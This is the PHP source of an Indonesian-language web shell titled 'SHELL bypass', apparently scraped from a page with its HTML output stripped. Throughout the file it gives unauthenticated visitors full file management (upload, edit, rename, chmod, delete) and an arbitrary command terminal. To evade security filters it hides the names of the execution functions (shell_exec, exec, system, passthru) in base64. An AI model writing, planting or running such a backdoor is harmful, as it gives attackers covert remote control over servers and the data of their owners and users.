SHELL bypass Created By Kamley77
";
$dir = realpath(isset($_GET['d']) ? $_GET['d'] : '.');
if (!$dir || !is_dir($dir)) die("Error: Direktori tidak valid.");
$msg = ""; $sep = DIRECTORY_SEPARATOR;
// Penanganan aksi POST
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
$a = $_POST['action'];
if ($a === 'upload' && isset($_FILES['f'])) {
$msg = move_uploaded_file($_FILES['f']['tmp_name'], $dir.$sep.basename($_FILES['f']['name'])) ? "Sukses upload" : "Gagal upload";
} elseif ($a === 'new_folder' && !empty($_POST['n'])) {
$msg = @mkdir($dir.$sep.$_POST['n'], 0755) ? "Folder dibuat" : "Gagal buat folder";
} elseif ($a === 'new_file' && !empty($_POST['n'])) {
$msg = @file_put_contents($dir.$sep.$_POST['n'], '') !== false ? "File dibuat" : "Gagal buat file";
} elseif ($a === 'rename' && !empty($_POST['o']) && !empty($_POST['n'])) {
$msg = @rename($dir.$sep.$_POST['o'], $dir.$sep.$_POST['n']) ? "Nama diganti" : "Gagal ganti nama";
} elseif ($a === 'chmod' && !empty($_POST['t']) && !empty($_POST['v'])) {
$msg = @chmod($dir.$sep.$_POST['t'], octdec($_POST['v'])) ? "CHMOD diganti" : "Gagal CHMOD";
} elseif ($a === 'save' && !empty($_POST['n'])) {
$msg = @file_put_contents($dir.$sep.$_POST['n'], $_POST['c']) !== false ? "Perubahan disimpan" : "Gagal simpan";
} elseif ($a === 'cmd' && !empty($_POST['command'])) {
$cmd = $_POST['command'];
$run_cmd = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
? "cd /d " . escapeshellarg($dir) . " && " . $cmd
: "cd " . escapeshellarg($dir) . " && " . $cmd;
$run_cmd .= " 2>&1";
// Teknik Bypass: Menyembunyikan fungsi eksekusi dalam bentuk Base64
$funcs = ['c2hlbGxfZXhlYw==', 'ZXhlYw==', 'c3lzdGVt', 'cGFzc3RocnU='];
$executed = false;
$cmd_output = "";
foreach ($funcs as $f_enc) {
$f = base64_decode($f_enc);
if (function_exists($f)) {
if ($f === 'shell_exec') {
$cmd_output = $f($run_cmd);
} elseif ($f === 'exec') {
$out_arr = [];
$f($run_cmd, $out_arr);
$cmd_output = implode("\n", $out_arr);
} elseif ($f === 'system' || $f === 'passthru') {
ob_start();
$f($run_cmd);
$cmd_output = ob_get_clean();
}
$executed = true;
break;
}
}
if (!$executed) {
$cmd_output = "Error: Semua fungsi eksekusi (shell_exec, exec, system, passthru) diblokir oleh server.";
}
}
}
if (isset($_GET['action']) && $_GET['action'] === 'del' && !empty($_GET['item'])) {
$p = $dir.$sep.$_GET['item'];
$msg = (is_dir($p) ? @rmdir($p) : @unlink($p)) ? "Item dihapus" : "Gagal hapus";
}
if ($msg) echo "Status: $msg
";
$parts = explode($sep, trim($dir, $sep)); $acc = '';
$bc = (strpos($dir, ':') === 1) ? '' : "$sep";
foreach ($parts as $i => $pt) {
if (empty($pt)) continue;
$acc .= (strpos($dir, ':') === 1 && $i === 0) ? $pt : $sep.$pt;
$bc .= "".htmlspecialchars($pt)."".$sep;
}
// Indikator warna hijau/merah untuk direktori kerja saat ini
$dir_color = is_writable($dir) ? "green" : "red";
echo "Dir: $bc [⬆️ Atas]
";
if (isset($_GET['action']) && $_GET['action'] === 'edit' && !empty($_GET['item'])) {
$ep = $dir.$sep.$_GET['item'];
if (file_exists($ep) && !is_dir($ep)) {
echo "
";
}
}
// Kontrol Utama File Manager
echo "
";
// Fitur Tambahan: Bypass Terminal CMD Lab
echo "
";
if (function_exists('scandir') && ($files = @scandir($dir)) !== false) {
echo "| Nama | Tipe | CHMOD | Aksi |
|---|
";
foreach ($files as $f) {
if ($f == '.' || $f == '..') continue;
$fp = $dir.$sep.$f;
$is_d = is_dir($fp);
$prm = substr(sprintf('%o', @fileperms($fp)), -4);
// Pengecekan status writeable untuk warna nama item
$item_color = is_writable($fp) ? "green" : "red";
$display_name = "" . htmlspecialchars($f) . "";
echo "| ".($is_d ? "📁 $display_name" : "📄 $display_name")." | ".($is_d ? "Dir" : "File")." | ";
echo " | ";
echo " ";
if (!$is_d) echo "[Edit] ";
echo "[X] |
";
}
echo "
";
} else { echo "Fungsi scandir() mati atau gagal."; }
echo "
Copyright © Kamley77 2026
";
?>